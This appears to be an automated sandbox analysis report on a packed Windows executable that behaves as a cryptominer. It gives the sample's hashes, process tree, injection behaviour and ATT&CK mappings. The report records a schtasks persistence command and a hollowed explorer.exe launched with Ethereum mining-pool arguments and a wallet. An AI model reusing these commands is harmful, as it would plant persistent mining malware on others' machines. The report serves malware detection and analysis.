239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a

General

Target

239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
Size

942KB
MD5

a92015618b79adee683000eaaaa30c83
SHA1

fd2c04199f3e58c13bd2876bf38702ba3f172f75
SHA256

239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a
SHA512

5a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65

Score

8^/10

upx

Malware Config

Signatures

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

BKIVNA.exeBKIVNA.exe

pid process

1260 BKIVNA.exe
1992 BKIVNA.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/672-67-0x0000000140000000-0x0000000142EFE000-memory.dmp	upx
behavioral1/memory/672-69-0x0000000140000000-0x0000000142EFE000-memory.dmp	upx
behavioral1/memory/672-70-0x0000000140000000-0x0000000142EFE000-memory.dmp	upx
behavioral1/memory/672-72-0x0000000140000000-0x0000000142EFE000-memory.dmp	upx

Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

992 cmd.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

BKIVNA.exe

description pid process target process

PID 1260 set thread context of 672 1260 BKIVNA.exe explorer.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1716 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1108 timeout.exe

pid	process
992	cmd.exe

description	pid	process	target process
PID 1260 set thread context of 672	1260	BKIVNA.exe	explorer.exe

pid	process
1716	schtasks.exe

pid	process
1108	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

BKIVNA.exe

pid	process
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe
1260	BKIVNA.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exeBKIVNA.exe

description	pid	process
Token: SeDebugPrivilege	2028	239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
Token: SeDebugPrivilege	1260	BKIVNA.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.execmd.exeBKIVNA.execmd.exetaskeng.exe

description	pid	process	target process
PID 2028 wrote to memory of 992	2028	239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe	cmd.exe
PID 2028 wrote to memory of 992	2028	239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe	cmd.exe
PID 2028 wrote to memory of 992	2028	239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe	cmd.exe
PID 992 wrote to memory of 1108	992	cmd.exe	timeout.exe
PID 992 wrote to memory of 1108	992	cmd.exe	timeout.exe
PID 992 wrote to memory of 1108	992	cmd.exe	timeout.exe
PID 992 wrote to memory of 1260	992	cmd.exe	BKIVNA.exe
PID 992 wrote to memory of 1260	992	cmd.exe	BKIVNA.exe
PID 992 wrote to memory of 1260	992	cmd.exe	BKIVNA.exe
PID 1260 wrote to memory of 1932	1260	BKIVNA.exe	cmd.exe
PID 1260 wrote to memory of 1932	1260	BKIVNA.exe	cmd.exe
PID 1260 wrote to memory of 1932	1260	BKIVNA.exe	cmd.exe
PID 1932 wrote to memory of 1716	1932	cmd.exe	schtasks.exe
PID 1932 wrote to memory of 1716	1932	cmd.exe	schtasks.exe
PID 1932 wrote to memory of 1716	1932	cmd.exe	schtasks.exe
PID 1260 wrote to memory of 672	1260	BKIVNA.exe	explorer.exe
PID 1260 wrote to memory of 672	1260	BKIVNA.exe	explorer.exe
PID 1260 wrote to memory of 672	1260	BKIVNA.exe	explorer.exe
PID 1260 wrote to memory of 672	1260	BKIVNA.exe	explorer.exe
PID 1260 wrote to memory of 672	1260	BKIVNA.exe	explorer.exe
PID 1260 wrote to memory of 672	1260	BKIVNA.exe	explorer.exe
PID 1260 wrote to memory of 672	1260	BKIVNA.exe	explorer.exe
PID 1620 wrote to memory of 1992	1620	taskeng.exe	BKIVNA.exe
PID 1620 wrote to memory of 1992	1620	taskeng.exe	BKIVNA.exe
PID 1620 wrote to memory of 1992	1620	taskeng.exe	BKIVNA.exe

C:\Users\Admin\AppData\Local\Temp\239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe
"C:\Users\Admin\AppData\Local\Temp\239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp8A9.tmp.bat""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:992

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:1108

C:\ProgramData\win32\BKIVNA.exe
"C:\ProgramData\win32\BKIVNA.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1260

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "BKIVNA" /tr "C:\ProgramData\win32\BKIVNA.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:1932

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "BKIVNA" /tr "C:\ProgramData\win32\BKIVNA.exe"
5⤵
- Creates scheduled task(s)
PID:1716

C:\Windows\explorer.exe
C:\Windows\explorer.exe --algo ETHASH --pool eth.2miners.com:2020 --user 0xd3e33ee5d3c0be3da5f6a9516fd52bc9a877677b.RIGA_1
4⤵
PID:672

C:\Windows\system32\taskeng.exe
taskeng.exe {52B7E98B-3646-40FE-BE04-0E29D02E7184} S-1-5-21-1819626980-2277161760-1023733287-1000:TBHNEBSE\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1620

C:\ProgramData\win32\BKIVNA.exe
C:\ProgramData\win32\BKIVNA.exe
2⤵
- Executes dropped EXE
PID:1992

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\win32\BKIVNA.exe
Filesize
942KB

MD5
a92015618b79adee683000eaaaa30c83

SHA1
fd2c04199f3e58c13bd2876bf38702ba3f172f75

SHA256
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a

SHA512
5a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65

Download Submit
C:\ProgramData\win32\BKIVNA.exe
Filesize
942KB

MD5
a92015618b79adee683000eaaaa30c83

SHA1
fd2c04199f3e58c13bd2876bf38702ba3f172f75

SHA256
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a

SHA512
5a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65

Download Submit
C:\ProgramData\win32\BKIVNA.exe
Filesize
942KB

MD5
a92015618b79adee683000eaaaa30c83

SHA1
fd2c04199f3e58c13bd2876bf38702ba3f172f75

SHA256
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a

SHA512
5a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8A9.tmp.bat
Filesize
139B

MD5
c4e6a6ee681a7fd487b0a2c8c882306f

SHA1
7cef14f964c8e71864ee8dadea4c92ce774759c7

SHA256
1bf1b1947eb021d2e620239b0566cc0241f9a73127a7a3e86ff0f7511ca340fa

SHA512
f0b5c661b6e774d4426dc0712ad396c16e7092e62c6ef879272270a02e26275e2d0bb7bc88518021fb768e0115339effb6653fa13021d2160cbc23f5ab657662

Download Submit
\ProgramData\win32\BKIVNA.exe
Filesize
942KB

MD5
a92015618b79adee683000eaaaa30c83

SHA1
fd2c04199f3e58c13bd2876bf38702ba3f172f75

SHA256
239188ccb58064385d07c0f11ff848cbf605f040f51a06dc102e78f7b2b3d17a

SHA512
5a82b48b223b6aa518aca74e2b6342045436e483f3a82c57d1ba236b257ce1c80a826e345a0b600796a0164e55a2d286f5b2e0183ef0662b8e96e89d173faa65

Download Submit
memory/672-70-0x0000000140000000-0x0000000142EFE000-memory.dmp

Filesize
47.0MB

Download
memory/672-67-0x0000000140000000-0x0000000142EFE000-memory.dmp

Filesize
47.0MB

Download
memory/672-72-0x0000000140000000-0x0000000142EFE000-memory.dmp

Filesize
47.0MB

Download
memory/672-71-0x0000000142EFC000-mapping.dmp

Download
memory/672-69-0x0000000140000000-0x0000000142EFE000-memory.dmp

Filesize
47.0MB

Download
memory/672-66-0x0000000140000000-0x0000000142EFE000-memory.dmp

Filesize
47.0MB

Download
memory/992-55-0x0000000000000000-mapping.dmp

Download
memory/1108-57-0x0000000000000000-mapping.dmp

Download
memory/1260-63-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmp

Filesize
8KB

Download
memory/1260-59-0x0000000000000000-mapping.dmp

Download
memory/1260-62-0x0000000000A90000-0x0000000000B80000-memory.dmp

Filesize
960KB

Download
memory/1716-65-0x0000000000000000-mapping.dmp

Download
memory/1932-64-0x0000000000000000-mapping.dmp

Download
memory/1992-73-0x0000000000000000-mapping.dmp

Download
memory/2028-54-0x0000000000190000-0x0000000000280000-memory.dmp

Filesize
960KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads